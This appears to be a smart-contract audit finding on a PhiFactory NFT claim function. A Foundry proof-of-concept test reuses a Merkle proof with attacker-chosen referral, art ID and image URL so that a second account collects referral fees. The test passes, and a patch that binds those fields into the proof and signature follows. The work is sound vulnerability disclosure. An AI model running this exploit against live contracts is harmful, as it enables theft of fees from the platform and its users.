  (address minter_, address ref_, uint256 artId_) = abi.decode(encodeData_, (address, address, uint256));
  PhiArt storage art = arts[artId_];
  ......
  if (
      !MerkleProofLib.verifyCalldata(
          proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
      )
  ) {
      revert InvalidMerkleProof();
  }
  ......
!MerkleProofLib.verifyCalldata( proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_)))) )
function signatureClaim(.....) external payable whenNotPaused {
  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) =
      abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));
      
  if (expiresIn_ <= block.timestamp) revert SignatureExpired();
  if (_recoverSigner(keccak256(encodeData_), signature_) != phiSignerAddress) revert AddressNotSigned();
  .....
}
function test_claimHack() public {
  bytes32 expectedRoot = 0xe70e719557c28ce2f2f3545d64c633728d70fbcfe6ae3db5fa01420573e0f34b;
  bytes memory credData = abi.encode(1, owner, "MERKLE", 31_337, expectedRoot);
  bytes memory signCreateData = abi.encode(expiresIn, ART_ID_URL_STRING, credData);
  bytes32 createMsgHash = keccak256(signCreateData);
  bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
  (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
  if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
  phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(
      signCreateData,
      abi.encodePacked(cr, cs),
      IPhiFactory.CreateConfig(participant, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false)
  );

  address Alice = participant; //Original file setup already deals `participant` enough ether to pay for mint fees
  address Alice_2 = address(0x123456); //Alice's account 2
  vm.startPrank(Alice);

  bytes32[] memory proof = new bytes32[](2);
  proof[0] = 0x0927f012522ebd33191e00fe62c11db25288016345e12e6b63709bb618d777d4;
  proof[1] = 0xdd05ddd79adc5569806124d3c5d8151b75bc81032a0ea21d4cd74fd964947bf5;
  address to = 0x1111111111111111111111111111111111111111;
  bytes32 value = 0x0000000000000000000000000000000003c2f7086aed236c807a1b5000000000;
  uint256 artId = 1;
  bytes memory data = abi.encode(artId, to, proof, Alice_2, uint256(1), value, IMAGE_URL2); // Within this line we have the freedom to decide artId, address of referral and the image URL

  bytes memory dataCompressed = LibZip.cdCompress(data);
  uint256 totalMintFee = phiFactory.getArtMintFee(artId, 1);


  phiFactory.claim{ value: totalMintFee }(dataCompressed);
  (, bytes memory response) = phiFactory.phiRewardsAddress().call(abi.encodeWithSignature("balanceOf(address)", Alice_2));
  uint256 balance = abi.decode(response, (uint256));
  console2.log("Alice_2: ", balance); //Alice successfully illegally receives referral fee through her second account
  vm.stopPrank();
}
Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claimHack() (gas: 1356967)
Logs:
  Alice_2:  50000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.83ms (4.52ms CPU time)
if (
    !MerkleProofLib.verifyCalldata(
-       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
+       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, ref_, artId_, mintArgs_.imageURI, leafPart_))))
  )
) {
    revert InvalidMerkleProof();
}
-  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));
+  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_, string memory uri) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32, string));
+  mintArgs_.imageURI = uri;
